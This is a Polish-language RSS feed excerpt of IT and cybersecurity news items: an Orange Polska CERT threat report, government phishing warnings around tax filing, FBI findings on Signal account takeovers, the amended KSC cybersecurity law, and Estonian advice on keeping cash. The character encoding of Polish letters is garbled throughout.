W 2025 roku CyberTarcza Orange zablokowaand#322;a 345 tys. domen phishingowych, a niemal 5,5 mln osand#243;b ochroniand#322;a przed utratand#261; danych czy pieniand#281;dzy. Jednoczeand#347;nie phishing pozostaje najwaand#380;niejszym wektorem atakand#243;w - odpowiada za ponad 47 proc. wszystkich incydentand#243;w, wyraand#378;nie wyprzedzajand#261;c ataki DDoS (niemal 16 proc.) iand#160;zand#322;oand#347;liwe oprogramowanie (ponad 13 proc.).
and#160;
Skala zagroand#380;eand#324; roand#347;nie, choand#263; ich struktura od kilku lat pozostaje podobna. Zmienia siand#281; natomiast sposand#243;b realizacji atakand#243;w - coraz bardziej zautomatyzowany, skalowalny iand#160;oparty na gotowych narzand#281;dziach. Szacunkowo nawet 90 proc. kampanii phishingowych opiera siand#281; na tych samych schematach iand#160;gotowych szablonach, masowo replikowanych iand#160;modyfikowanych. Domeny wykorzystywane wand#160;atakach sand#261; generowane automatycznie iand#160;uand#380;ywane na duand#380;and#261; skaland#281;, czand#281;sto tylko przezand#160;krand#243;tki czas, co utrudnia ich szybkie wykrywanie iand#160;blokowanie. Coraz czand#281;and#347;ciej wykorzystywane sand#261; takand#380;e specjalne aplikacje do wysyand#322;ki SMS-and#243;w phishingowych, co dodatkowo zwiand#281;ksza tempo iand#160;zasiand#281;g kampanii.
Phishing nie polega juand#380; wyand#322;and#261;cznie na nakand#322;onieniu uand#380;ytkownika do klikniand#281;cia w link. Coraz czand#281;and#347;ciej jest to zand#322;oand#380;ony ekosystem obejmujand#261;cy faand#322;szywe strony, reklamy, komunikacjand#281; i infrastrukturand#281; technicznand#261;, zaprojektowany tak, by maksymalnie siand#281; upodobniand#263; do wiarygodnych usand#322;ug i zwiand#281;kszyand#263; skutecznoand#347;and#263; ataku.

- Zauwaand#380;amy bardzo istotny wpand#322;yw sztucznej inteligencji na tzw. uzbrajanie podatnoand#347;ci, czyli przygotowywanie zand#322;oand#347;liwego kodu, ktand#243;ry jand#261; wykorzysta. Teraz te exploity powstajand#261; wand#160;ciand#261;gu 24 godzin, ale spodziewamy siand#281;, and#380;e ten czas wand#160;nadchodzand#261;cych latach moand#380;e zostaand#263; skrand#243;cony nawet do kilku minut - ocenia Robert Grabowski.
Automatyzacja zmienia takand#380;e strukturand#281; samych oszustw. Najwiand#281;kszand#261; czand#281;and#347;and#263; phishingu stanowiand#261; obecnie faand#322;szywe inwestycje - odpowiadajand#261; za blisko 70 proc. wszystkich przypadkand#243;w, podczas gdy jeszcze dwa lata wczeand#347;niej byand#322;o to 28 proc. W tej kategorii dominujand#261; faand#322;szywe gieand#322;dy iand#160;serwisy obiecujand#261;ce szybki zysk bez ryzyka, dystrybuowane gand#322;and#243;wnie za poand#347;rednictwem mediand#243;w spoand#322;ecznoand#347;ciowych iand#160;najwiand#281;kszych sieci reklamowych.
Z danych raportu wynika, and#380;e ponad 72 proc. uand#380;ytkownikand#243;w, ktand#243;rzy trafili na strony phishingowe, zostaand#322;o zwabionych wand#322;aand#347;nie przezand#160;scenariusze inwestycyjne. W praktyce oznacza to, and#380;e za skaland#261; tych oszustw stoi przede wszystkim masowy kolportaand#380; treand#347;ci wand#160;platformach spoand#322;ecznoand#347;ciowych orazand#160;wykorzystanie nieand#347;wiadomych uand#380;ytkownikand#243;w jako kanaand#322;u dalszej dystrybucji.
- Nie sand#322;abnie rynek faand#322;szywych reklam iand#160;kolportaand#380;u zand#322;oand#347;liwych treand#347;ci za ich pomocand#261; wand#160;mediach spoand#322;ecznoand#347;ciowych iand#160;w gand#322;and#243;wnych sieciach reklamowych. Zaawansowane grupy APT iand#160;ich zaawansowane techniki majand#261; zand#160;kolei przeand#322;oand#380;enie na techniki wykorzystywane przezand#160;zand#322;oand#347;liwe oprogramowanie, ktand#243;re jest szeroko dystrybuowane. APT to najbardziej zaawansowane ataki wykorzystywane przezand#160;grupy, czand#281;sto sponsorowane przezand#160;rzand#261;dy, skierowane wand#160;najbardziej kluczowe sektory, firmy. Wykorzystujand#261; one czand#281;sto tak zwane podatnoand#347;ci zero-day - tand#322;umaczy szef CERT Orange Polska.





Zmiany widoczne sand#261; rand#243;wnieand#380; wand#160;charakterze atakand#243;w DDoS. Choand#263; dominujand#261; krand#243;tkie incydenty trwajand#261;ce poniand#380;ej 10 minut iand#160;o stosunkowo niskim natand#281;and#380;eniu, roand#347;nie ich znaczenie operacyjne. Coraz czand#281;and#347;ciej stanowiand#261; one element wiand#281;kszych kampanii - wspierajand#261; dziaand#322;ania dezinformacyjne, prand#243;by wymuszeand#324; lub sand#322;uand#380;and#261; odwrand#243;ceniu uwagi od rand#243;wnolegle prowadzonych operacji. W 2025 roku wand#160;sieci Orange odnotowano ataki oand#160;rekordowej sile, siand#281;gajand#261;cej 1,5 Tb/s.
Rok 2025 przyniand#243;sand#322; takand#380;e rozwand#243;j wielomilionowych botnetand#243;w, ktand#243;re umoand#380;liwiajand#261; prowadzenie atakand#243;w oand#160;niespotykanej wczeand#347;niej skali. Przykand#322;adem sand#261; sieci botand#243;w takie jak Aisuru, wykorzystywane do przeprowadzania bardzo duand#380;ych, skoordynowanych atakand#243;w DDoS.
Ataki DDoS przestajand#261; byand#263; jednorazowym zdarzeniem, a stajand#261; siand#281; narzand#281;dziem wykorzystywanym wand#160;zand#322;oand#380;onych scenariuszach operacyjnych. Platformizacja tego typu usand#322;ug sprawia, and#380;e sand#261; one and#322;atwo dostand#281;pne iand#160;mogand#261; byand#263; precyzyjnie planowane, co fundamentalnie zmienia ich roland#281; wand#160;ekosystemie zagroand#380;eand#324;.
- Technologia pomaga zarand#243;wno obroand#324;com, jak iand#160;atakujand#261;cym, ktand#243;rzy wykorzystujand#261; jand#261; bez and#380;adnych zasad etycznych iand#160;moralnych, wand#160;szczegand#243;lnoand#347;ci np. sztucznand#261; inteligencjand#281;, my zand#160;kolei pracujemy wand#160;narzuconych etycznych ramach. To obosieczny miecz, musimy badaand#263;, jak siand#281;and#160;zmieniand#322;yand#160;ataki zand#160;wykorzystaniem sztucznej inteligencji, jaki maand#160;onaand#160;wpand#322;yw na zand#322;oand#347;liwe oprogramowanie, na tworzony kod. Z drugiej strony musimy aktualizowaand#263; nasze systemy wykrywania -and#160;przekonuje Robert Grabowski.





Rosnand#261;ca skala zagroand#380;eand#324; przekand#322;ada siand#281; na rozwand#243;j narzand#281;dzi ochronnych dziaand#322;ajand#261;cych na poziomie sieci. Kluczowym rozwiand#261;zaniem pozostaje CyberTarcza Orange, ktand#243;ra blokuje ruch do zand#322;oand#347;liwych domen jeszcze przed dotarciem do uand#380;ytkownika, ograniczajand#261;c skutki atakand#243;w niezaleand#380;nie od jego reakcji.
- Gdy uand#380;ytkownicy prand#243;bujand#261; odwiedziand#263; zand#322;oand#347;liwe strony, strony phishingowe lub gdy zand#322;oand#347;liwe oprogramowanie prand#243;buje siand#281;and#160;kontaktowaand#263;and#160;zand#160;botmasterem, zand#160;serwerem C2, ktand#243;ry steruje nim czy botnetem, ten ruch jest zatrzymywany wand#160;sieci Orange Polska. Albo ten ruch nieand#160;dociera, albo uand#380;ytkownik zostaje poinformowany, and#380;e wand#322;aand#347;nie prand#243;bowaand#322; odwiedziand#263; zand#322;oand#347;liwand#261; stronand#281;, co ma teand#380; dodatkowy walor edukacyjny - wskazuje szef CERT Orange Polska.
Cyberprzestand#281;pcy coraz czand#281;and#347;ciej wykorzystujand#261; narzand#281;dzia umoand#380;liwiajand#261;ce tworzenie wiarygodnych komunikatand#243;w iand#160;faand#322;szywych stron na masowand#261; skaland#281;, co sprawia, and#380;e kluczowym elementem systemu bezpieczeand#324;stwa pozostaje uand#380;ytkownik orazand#160;jego and#347;wiadomoand#347;and#263; zagroand#380;eand#324;. Ciand#261;gand#322;y monitoring zagroand#380;eand#324; (threat hunting) czy przygotowywanie scenariuszy reakcji przestajand#261; byand#263; dziaand#322;aniami and#8222;na wszelki wypadekand#8221;, a stajand#261; siand#281; koniecznoand#347;ciand#261;.
CERT Orange Polska rozwija takand#380;e narzand#281;dzia pozwalajand#261;ce monitorowaand#263; wycieki danych iand#160;zwiand#281;kszaand#263; kontroland#281; nad cyfrowand#261; toand#380;samoand#347;ciand#261;. Z rozwiand#261;zania Hasand#322;o Alert korzysta juand#380; ponad 40 tys. uand#380;ytkownikand#243;w. Narzand#281;dzie analizuje bazy wyciekand#243;w liczand#261;ce miliardy rekordand#243;w iand#160;umoand#380;liwia szybkie sprawdzenie, czy dane logowania zostaand#322;y ujawnione.




















W tym roku uruchomiliand#347;my rand#243;wnieand#380; nowy formularz na stronie cert.orange.pl, na ktand#243;rym moand#380;na zweryfikowaand#263;, czy domena jest zand#322;oand#347;liwa. Zatem zanim ktoand#347; jand#261; odwiedzi, moand#380;e wpisaand#263; adres iand#160;dostanie informacjand#281;, czy ta strona jest blokowana. Ten mechanizm na pewno band#281;dziemy rozbudowywaand#263; oand#160;nowe formy detekcji informacji - zapowiada Robert Grabowski.
and#160;
and#377;rand#243;dand#322;o: ]]></description>
		</item><item>
			<title><![CDATA[ Gawkowski ostrzega: Oszuści wykorzystują zamieszanie wokół e-PIT i KSeF ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1667</link>
			<description><![CDATA[ W okresie rozliczeand#324; podatkowych i wdroand#380;enia Krajowego Systemu e-Faktur grupy cyberprzestand#281;pcze podszywajand#261; siand#281; pod Ministerstwo Finansand#243;w oraz Krajowand#261; Administracjand#281; Skarbowand#261; - ostrzega w and#347;rodowym komunikacie peand#322;nomocnik rzand#261;du ds. cyberbezpieczeand#324;stwa Krzysztof Gawkowski.



and#160;


fot. KPRM /and#160;/and#160;Kancelaria Prezesa Rady Ministrand#243;w







and#160;



W komunikacie peand#322;nomocnika wskazano na nasilone ataki socjotechniczne wymierzone w polskich obywateli i przedsiand#281;biorcand#243;w. Doprecyzowano, and#380;e chodzi o ataki phishingowe; cyberprzestand#281;pcy prand#243;bujand#261; wyand#322;udzaand#263; dane logowania m.in. do Profilu Zaufanego, wykorzystujand#261;c okres rozliczeand#324; podatkowych.
Gawkowski zaznaczyand#322;, and#380;e oszuand#347;ci wysyand#322;ajand#261; faand#322;szywe wiadomoand#347;ci e-mail i SMS. Informujand#261; w nich o rzekomych powiadomieniach z KAS i zachand#281;cajand#261; do klikniand#281;cia w link prowadzand#261;cy do podrobionej strony logowania do Profilu Zaufanego. Celem jest przejand#281;cie danych uwierzytelniajand#261;cych uand#380;ytkownikand#243;w.

and#160;
Peand#322;nomocnik apeluje o zachowanie szczegand#243;lnej ostroand#380;noand#347;ci i weryfikowanie and#378;rand#243;deand#322; otrzymywanych wiadomoand#347;ci. Zaleca m.in. sprawdzanie adresu nadawcy, samodzielne wpisywanie adresand#243;w stron internetowych instytucji oraz kontakt z danand#261; instytucjand#261; w przypadku wand#261;tpliwoand#347;ci.
W przypadku otrzymania podejrzanej wiadomoand#347;ci, zwand#322;aszcza jeand#347;li uand#380;ytkownik kliknand#261;and#322; w link i podaand#322; dane, naleand#380;y zgand#322;osiand#263; incydent do zespoand#322;u CSIRT NASK and#8211; poprzez formularz internetowy lub usand#322;ugand#281; and#8222;Bezpiecznie w sieciand#8221; w aplikacji mObywatel. Podejrzane SMS-y moand#380;na rand#243;wnieand#380; przesyand#322;aand#263; na bezpand#322;atny numer 8080. W sytuacji podejrzenia przestand#281;pstwa zalecane jest zgand#322;oszenie sprawy na policjand#281; lub do prokuratury.
Peand#322;nomocnik przypomina takand#380;e o podstawowych zasadach cyberbezpieczeand#324;stwa, takich jak stosowanie dwuskand#322;adnikowego uwierzytelniania, aktualizowanie oprogramowania, instalowanie aplikacji wyand#322;and#261;cznie ze sprawdzonych and#378;rand#243;deand#322; czy ograniczanie limitand#243;w pand#322;atnoand#347;ci. Rekomendowane jest rand#243;wnieand#380; zastrzeand#380;enie numeru PESEL.and#160;
and#160;
and#378;rodand#322;o PAP 5 kwiecieand#324; 2026 pif/ mmu/

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Gotówka na czarną godzinę. Estoński bank centralny ostrzega przed awariami ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1666</link>
			<description><![CDATA[ Obywatele powinni mieand#263; odand#322;oand#380;onand#261; gotand#243;wkand#281; na wypadek przerw w and#347;wiadczeniu usand#322;ug pand#322;atniczych, awarii systemand#243;w transakcyjnych lub innych nagand#322;ych zdarzeand#324;. Zaleca siand#281;, aby rodzina miaand#322;a w domu tygodniowy zapas gotand#243;wki - wynika z rekomendacji Banku Estonii.



and#160;


fot. Dmitry Tkachenko Photo /and#160;/and#160;Shutterstock


and#160;
and#160;
Zalecenia odnoand#347;nie posiadania gotand#243;wki wynikajand#261; przede wszystkim z ryzyk zwiand#261;zanych z funkcjonowaniem amerykaand#324;skich sieci pand#322;atnoand#347;ci kartami (tj. Visa i Mastercard) o zasiand#281;gu globalnym, od ktand#243;rych uzaleand#380;nionych jest wiele krajand#243;w UE, w tym Estonia.

Trzymanie gotand#243;wki w domu jest rand#243;wnieand#380; rozsand#261;dne i zalecane by przygotowaand#263; siand#281; na planowane wprowadzenie w UE cyfrowego pieniand#261;dza - oand#347;wiadczyand#322; szef departamentu systemand#243;w pand#322;atniczych i rozliczeniowych Eesti Pank, Rainer Olt, cytowany w sobotand#281; przez radio ERR.
and#160;










Wedand#322;ug Europejskiego Banku Centralnego cyfrowe euro, jako alternatywny and#347;rodek pand#322;atniczy, majand#261;cy zmniejszyand#263; zaleand#380;noand#347;and#263; od zagranicznych systemand#243;w, mogand#322;oby zostaand#263; wprowadzone po wczeand#347;niejszych testach pod koniec obecnej dekady, tj. w latach 2029-2030.
and#160;
Z ankiety przeprowadzonej przez Narodowy Bank Estonii pod koniec ub. roku wynika, and#380;e korzystanie z tradycyjnej gotand#243;wki spada z roku na rok - obecnie jedynie 8 proc. Estoand#324;czykand#243;w preferujand#281; tand#281; formand#281; pand#322;atnoand#347;ci.
and#160;
and#378;rodand#322;o PAP 5 kwiecieand#324; 2026 pmo/ san/















and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Szef FBI: Związani z Rosją hakerzy atakują użytkowników komunikatorów ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1665</link>
			<description><![CDATA[ Szef FBI Kash Patel poinformowaand#322; o zidentyfikowaniu hakerand#243;w zwiand#261;zanych z Rosjand#261;, atakujand#261;cych uand#380;ytkownikand#243;w komunikatorand#243;w, w tym byand#322;ych i obecnych przedstawicieli wand#322;adz USA, wojskowych i dziennikarzy.



and#160;


fot. Camilo Concha /and#160;/and#160;Shutterstock   



and#8222;FBI zidentyfikowaand#322;a podmioty cybernetyczne zwiand#261;zane z rosyjskim wywiadem, atakujand#261;ce uand#380;ytkownikand#243;w komercyjnych komunikatorand#243;w, takich jak Signaland#8221; - napisaand#322; Patel w serwisie X.








and#160;




Jak dodaand#322;, hakerzy atakujand#261; osoby istotne z punktu widzenia wywiadowczego, w tym obecnych i byand#322;ych przedstawicieli wand#322;adz USA, personel wojskowy, politykand#243;w i dziennikarzy.



Patel przekazaand#322;, and#380;e and#8222;dziaand#322;ania te doprowadziand#322;y do nieautoryzowanego dostand#281;pu do tysiand#281;cy indywidualnych kontand#8221;. and#8222;Po uzyskaniu dostand#281;pu, atakujand#261;cy mogand#261; przegland#261;daand#263; wiadomoand#347;ci i listy kontaktand#243;w, wysyand#322;aand#263; wiadomoand#347;ci w imieniu ofiary i przeprowadzaand#263; dalsze ataki phishingowe, posand#322;ugujand#261;c siand#281; zaufanand#261; toand#380;samoand#347;ciand#261;and#8221; - alarmowaand#322; szef FBI.
W pierwszej poand#322;owie marca holenderskie sand#322;uand#380;by wywiadowcze AIVD i MIVD poinformowaand#322;y, and#380;e rosyjscy hakerzy prowadzili zakrojonand#261; na szerokand#261; skaland#281; kampaniand#281;and#160;w celu przejand#281;cia kont uand#380;ytkownikand#243;w aplikacji Signal i WhatsApp, w tym urzand#281;dnikand#243;w paand#324;stwowych, dziennikarzy i wojskowych. Czand#281;and#347;and#263; miaand#322;a zostaand#263; skutecznie przejand#281;ta.
and#160;
and#160;
and#378;rodand#322;o PAP 4 kwiecieand#324; 2026 zand#160; Waszyngtonu Natalia Dziurdziand#324;ska (PAP) ndz/ kar/ ]]></description>
		</item><item>
			<title><![CDATA[ Cyberbezpieczeństwo w firmach. Sprawdź, czy musisz się zarejestrować w KSC ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1664</link>
			<description><![CDATA[ Cyberbezpieczeand#324;stwo w firmach. Sprawdand#378;, czy musisz siand#281; zarejestrowaand#263; w KSC

and#160;
W piand#261;tek weszand#322;a w and#380;ycie nowelizacja ustawy o krajowym systemie cyberbezpieczeand#324;stwa (KSC). Od 7 maja do 3 paand#378;dziernika br. firmy band#281;dand#261; musiaand#322;y oceniand#263;, czy naleand#380;and#261; do KSC, a jeand#347;li tak - zarejestrowaand#263; siand#281; w specjalnym wykazie. Ma im w tym pomand#243;c zestaw pytaand#324; i odpowiedzi opublikowany na stronie cyber.gov.pl.






and#160;


fot. zef art /and#160;/and#160;Shutterstock


Nowelizacja ustawy o KSC przygotowana przez Ministerstwo Cyfryzacji weszand#322;a w and#380;ycie w piand#261;tek. Regulacja wdraand#380;a w Polsce unijnand#261; dyrektywand#281; NIS 2 ws. cyberbezpieczeand#324;stwa oraz Toolbox 5G, czyli unijny dokument dotyczand#261;cy bezpieczeand#324;stwa sieci 5G. Dyrektywa NIS 2 zastand#261;piand#322;a dotychczasowy podziaand#322; na operatorand#243;w usand#322;ug kluczowych i dostawcand#243;w usand#322;ug cyfrowych na and#8222;podmioty kluczoweand#8221; i and#8222;podmioty waand#380;neand#8221;. Wprowadziand#322;a takand#380;e nowe sektory objand#281;te obowiand#261;zkami zwiand#261;zanymi z cyberbezpieczeand#324;stwem.

W odpowiedzi na rosnand#261;cand#261; liczband#281; cyberatakand#243;w na infrastrukturand#281; krytycznand#261; oraz zwiand#281;kszajand#261;cand#261; siand#281; skaland#281; dezinformacji tworzymy nowy ekosystem, ktand#243;ry zapewni wiand#281;ksze bezpieczeand#324;stwo paand#324;stwa i obywateli. Nowelizacja ustawy o KSC wchodzi w and#380;ycie w zbliand#380;onym czasie, co Strategia Cyberbezpieczeand#324;stwa. Te dwa dokumenty razem zwiand#281;kszand#261; odpornoand#347;and#263; w cyberprzestrzeni oraz poprawiand#261; bezpieczeand#324;stwo Polski - podkreand#347;liand#322; wicepremier i minister cyfryzacji Krzysztof Gawkowski podczas niedawnej konferencji prasowej.








and#160;




and#160;



Nowelizacja ustawy o KSC wprowadza nowe sektory, ktand#243;re band#281;dand#261; objand#281;te obowiand#261;zkami zwiand#261;zanymi z cyberbezpieczeand#324;stwem. Obok energii, transportu, ochrony zdrowia, bankowoand#347;ci, infrastruktury rynkand#243;w finansowych, zaopatrzenia w wodand#281; i infrastruktury cyfrowej, dodano: and#347;cieki, zarzand#261;dzanie ICT, przestrzeand#324; kosmicznand#261;, usand#322;ugi pocztowe, produkcjand#281; i dystrybucjand#281;, w tym chemikaliand#243;w i and#380;ywnoand#347;ci.and#160;Do sektorand#243;w KSC zaliczono teand#380; podmioty publiczne, w tym urzand#281;dy, samorzand#261;dy, szkoand#322;y, szpitale, instytuty badawcze i Polskand#261; Agencjand#281; Prasowand#261;.



and#160;
Firmy muszand#261; same oceniand#263;, czy speand#322;niajand#261; kryteria dla podmiotu kluczowego
Zgodnie z nowelizacjand#261;, firmy muszand#261; same oceniand#263;, czy speand#322;niajand#261; kryteria dla podmiotu kluczowego lub podmiotu waand#380;nego. Jeand#347;li odpowiedand#378; jest pozytywna - band#281;dand#261; zobowiand#261;zane zarejestrowaand#263; siand#281; w wykazie podmiotand#243;w KSC. Jak przekazaand#322; Gawkowski, wykaz dla prywatnych firm zostanie otwarty 7 maja, a podmioty band#281;dand#261; mogand#322;y siand#281; w nim rejestrowaand#263; przez kolejnych 6 miesiand#281;cy, czyli do 3 paand#378;dziernika br. Za niewywiand#261;zanie siand#281; z tego obowiand#261;zku przedsiand#281;biorcom band#281;dand#261; groziand#263; kary finansowe.

Aby uand#322;atwiand#263; zadanie samoidentyfikacji, na stronie cyber.gov.pl resort cyfryzacji opublikowaand#322; 131 szczegand#243;and#322;owych pytaand#324; i odpowiedzi dla firm i podmiotand#243;w objand#281;tych nowymi przepisami. - To nie jest katalog zamkniand#281;ty. Jeand#347;li ktoand#347; - podmiot, firma, osoba fizyczna, gazeta - zada pytanie, ktand#243;re nie jest umieszczone na te liand#347;cie, to udzielimy indywidualnej odpowiedzi i moand#380;e siand#281; tak zdarzyand#263;, and#380;e to pytanie i odpowiedand#378; na nie trafiand#261; na listand#281; - podkreand#347;liand#322; podczas spotkania z dziennikarzami wiceminister cyfryzacji Paweand#322; Olszewski.

Przedstawiciele resortu poinformowali teand#380;, and#380;e band#281;dand#261; starali siand#281; docieraand#263; do firm, ktand#243;re mogand#261; nie zdawaand#263; sobie sprawy z nowych obowiand#261;zkand#243;w. Resort band#281;dzie to robiand#263; m.in. przez komunikaty, kampanie informacyjne, przekazywanie informacji mediom czy przez portal biznes.gov.pl.









Obowiand#261;zek samoidentyfikacji nie dotyczy podmiotand#243;w publicznych.and#160;Jak przekazaand#322; szef MC, 13 kwietnia rozpocznie siand#281; proces, w ktand#243;rym Minister Cyfryzacji band#281;dzie z urzand#281;du wpisywaand#322; podmioty do wykazu. Band#281;dzie to dotyczyand#322;o - oprand#243;cz jednostek publicznych - przedsiand#281;biorcand#243;w komunikacji elektronicznej oraz dotychczasowych operatorand#243;w usand#322;ug kluczowych.
and#160;
Czand#281;and#347;and#263; zmian rozand#322;oand#380;ona w czasie
Do 3 kwietnia 2027 r. podmioty kluczowe i waand#380;ne muszand#261; wdroand#380;yand#263; obowiand#261;zki zwiand#261;zane z cyberbezpieczeand#324;stwem, wynikajand#261;ce z nowych przepisand#243;w - podaand#322; resort. Wand#347;rand#243;d nowych obowiand#261;zkand#243;w znalazand#322;o siand#281; m.in.: wdroand#380;enie systemu zarzand#261;dzania bezpieczeand#324;stwem informacji, regularne ocenianie ryzyka wystand#261;pienia incydentand#243;w i zarzand#261;dzanie incydentami. Obowiand#261;zkowe band#281;dzie teand#380; zbieranie informacji o cyberzagroand#380;eniach i podatnoand#347;ciach na incydenty oraz stosowanie and#347;rodkand#243;w ograniczajand#261;cych wpand#322;yw incydentand#243;w. and#346;rodki te to np. regularne aktualizacje oprogramowania, czy niezwand#322;oczne podejmowanie dziaand#322;aand#324; po dostrzeand#380;eniu zagroand#380;enia.
Podmioty objand#281;te KSC band#281;dand#261; musiaand#322;y rand#243;wnieand#380; wdroand#380;yand#263; and#347;rodki techniczne i organizacyjne proporcjonalne do oszacowanego ryzyka, ktand#243;re powinny byand#263; dostosowane m.in. do wielkoand#347;ci organizacji. Wand#347;rand#243;d tych and#347;rodkand#243;w nowela wymienia polityki i procedury cyberbezpieczeand#324;stwa, kontroland#281; dostand#281;pu do systemand#243;w, bezpieczne and#347;rodki komunikacji, zawierajand#261;ce uwierzytelnianie wieloskand#322;adnikowe czy szkolenia dla pracownikand#243;w. Wdroand#380;one and#347;rodki majand#261; zapewniaand#263; bezpieczeand#324;stwo ludzi, and#347;rodowiska, zasoband#243;w podmiotu oraz and#322;aand#324;cucha dostaw produktand#243;w, usand#322;ug i procesand#243;w ICT (teleinformatycznych and#8211; PAP). Majand#261; teand#380; zapewniand#263; ciand#261;gand#322;oand#347;and#263; dziaand#322;ania podmiotu i moand#380;liwoand#347;and#263; and#347;wiadczenia usand#322;ug w przypadku wystand#261;pienia incydentu
Z kolei do 3 kwietnia 2028 r. podmioty kluczowe majand#261; czas, aby przeprowadziand#263; pierwszy obowiand#261;zkowy audyt cyberbezpieczeand#324;stwa. Kolejne audyty trzeba band#281;dzie przeprowadzaand#263; co najmniej raz na trzy lata.
and#160;





CSIRT ma ruszyand#263; z pomocand#261;
Nowela przewiduje rand#243;wnieand#380; utworzenie sektorowych zespoand#322;and#243;w CSIRT, ktand#243;re band#281;dand#261; wspieraand#263; podmioty objand#281;te KSC w obsand#322;udze incydentand#243;w cyberbezpieczeand#324;stwa.
Zgodnie z ustawand#261; zostanie wprowadzony Krajowy plan reagowania na incydenty i sytuacje kryzysowe w cyberbezpieczeand#324;stwie na duand#380;and#261; skaland#281;. Minister cyfryzacji band#281;dzie mand#243;gand#322; natomiast wydaand#263; polecenie zabezpieczajand#261;ce ze wskazaniem zachowania, ktand#243;re ograniczy skutki trwajand#261;cego incydentu krytycznego. W jego ramach moand#380;e np. nakazaand#263; podmiotowi przeprowadzenie analizy ryzyka czy zabezpieczenie okreand#347;lonych informacji.

Za nieprzestrzeganie przepisand#243;w na przedsiand#281;biorcand#243;w objand#281;tych KSC band#281;dand#261; nakand#322;adane kary pieniand#281;and#380;ne. Kara na podmioty kluczowe moand#380;e wynieand#347;and#263; 2 proc. przychodand#243;w firmy; minimum 20 tys. zand#322;, a maksymalnie 10 mln euro (ok. 42,4 mln zand#322;). Natomiast kary na podmioty waand#380;ne mogand#261; wynieand#347;and#263; 1,4 proc. przychodand#243;w firmy; min. 15 tys. zand#322; i maks. 7 mln euro (ok. 20 mln zand#322;).

Niezaleand#380;nie od limitand#243;w za niezastosowanie siand#281; do nakazu organu cyberbezpieczeand#324;stwa band#281;dzie groziand#263; kara od 500 zand#322; do 100 tys. zand#322; za kaand#380;dy dzieand#324; opand#243;and#378;nienia. Taka kara grozi np. za niewykonanie nakazu podjand#281;cia okreand#347;lonych czynnoand#347;ci dotyczand#261;cych obsand#322;ugi incydentu powaand#380;nego czy teand#380; za nieprzeprowadzenie audytu.
Ustawa przewiduje teand#380; kary do 100 mln zand#322; w sytuacji, w ktand#243;rej zidentyfikowane zostanie, and#380;e podmiot kluczowy albo waand#380;ny narusza przepisy ustawy, a przy tym powoduje bezpoand#347;rednie i powaand#380;ne zagroand#380;enie cyberbezpieczeand#324;stwa dla obronnoand#347;ci, bezpieczeand#324;stwa paand#324;stwa, bezpieczeand#324;stwa i porzand#261;dku publicznego, and#380;ycia i zdrowia ludzi; albo powoduje zagroand#380;enie wywoand#322;ania powaand#380;nej szkody majand#261;tkowej lub powaand#380;nych utrudnieand#324; w and#347;wiadczeniu usand#322;ug.





Podstawicie Ministerstwa Cyfryzacji podkreand#347;lili w rozmowie z dziennikarzami, and#380;e system kar nie ma charakteru opresyjnego, a procedura w tej sprawie jest wieloetapowa. Obejmuje m.in. kontrole, wystand#261;pienia pokontrolne, zgand#322;aszanie zastrzeand#380;eand#324; oraz wzywanie do usuniand#281;cia nieprawidand#322;owoand#347;ci. Resort zadeklarowaand#322;, and#380;e kary finansowe majand#261; byand#263; wiand#281;c ostatecznoand#347;ciand#261;, a nie punktem wyjand#347;cia.
W trakcie prac sejmowych nad ustawand#261; przyjand#281;to zmiany, ktand#243;re doprecyzowaand#322;y wybrane rozwiand#261;zania. Jedna z nich wprowadziand#322;a obowiand#261;zek udziaand#322;u przedstawiciela prezydenta w rzand#261;dowych pracach nad uchwaand#322;and#261; Rady Ministrand#243;w w sprawie Krajowego planu reagowania na incydenty i sytuacje kryzysowe w cyberbezpieczeand#324;stwie na duand#380;and#261; skaland#281;.
Kolejna przewidywaand#322;a, and#380;e administracyjne kary pieniand#281;and#380;ne za brak realizacji obowiand#261;zkand#243;w wynikajand#261;cych z nowelizacji ustawy o KSC band#281;dand#261; mogand#322;y byand#263; nakand#322;adane po raz pierwszy po upand#322;ywie 2 lat od dnia wejand#347;cia w and#380;ycie noweli. Rozwiand#261;zanie to ma umoand#380;liwiand#263; podmiotom objand#281;tym regulacjand#261; odpowiednie przygotowanie siand#281; do nowych wymagaand#324;.
19 lutego br. prezydent Karol Nawrocki podpisaand#322; nowelizacjand#281; ustawy o krajowym systemie cyberbezpieczeand#324;stwa (KSC) oraz skierowaand#322; jand#261; do Trybunaand#322;u Konstytucyjnego. Wand#261;tpliwoand#347;ci gand#322;owy paand#324;stwa budzand#261; m.in. przepisy regulujand#261;ce zasady uznawania podmiotand#243;w za dostawcand#243;w wysokiego ryzyka (DWR) oraz zasady wydawania tzw. poleceand#324; zabezpieczajand#261;cych. and#8222;Przepisy te ingerujand#261; w samodzielnoand#347;and#263; funkcjonowania przedsiand#281;biorcand#243;w, m.in. poprzez nakand#322;adanie obowiand#261;zku wymiany sprzand#281;tu oraz oprogramowania i to bez odszkodowania, i bez zabezpieczenia and#347;rodkand#243;w finansowych na ten celand#8221; - podaand#322; prezydent. Nawrocki wskazaand#322; rand#243;wnieand#380;, and#380;e przewidziany ustawand#261; system kar jest - wedand#322;ug niego - restrykcyjny, a ich wysokoand#347;and#263; and#8222;ma wrand#281;cz charakter samodzielnych and#347;rodkand#243;w karnychand#8221;.and#160;
and#160;
and#160;

















and#378;rodand#322;o PAP 4 kwiecieand#324; 2026and#160; mbl/ drag/ ]]></description>
		</item><item>
			<title><![CDATA[ Uważaj na te metody. Jak nie dać się oszukać w czasie rozliczeń PIT? ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1663</link>
			<description><![CDATA[ W gorand#261;cym okresie rozliczeand#324; podatkowych obietnica szybszego zwrotu podatku moand#380;e dziaand#322;aand#263; jak magnes. Cyberprzestand#281;pcy zdajand#261; sobie z tego sprawand#281; and#8211; i wymyand#347;lajand#261; coraz to oryginalniejsze metody, by dobraand#263; siand#281; do naszych danych i pieniand#281;dzy. Wand#347;rand#243;d oszustw internetowych krand#243;luje phishing. Jak nie daand#263; siand#281; naciand#261;gnand#261;and#263;?



and#160;


fot. Midnight Studio TH /and#160;/and#160;Shutterstock



and#160;




and#160;



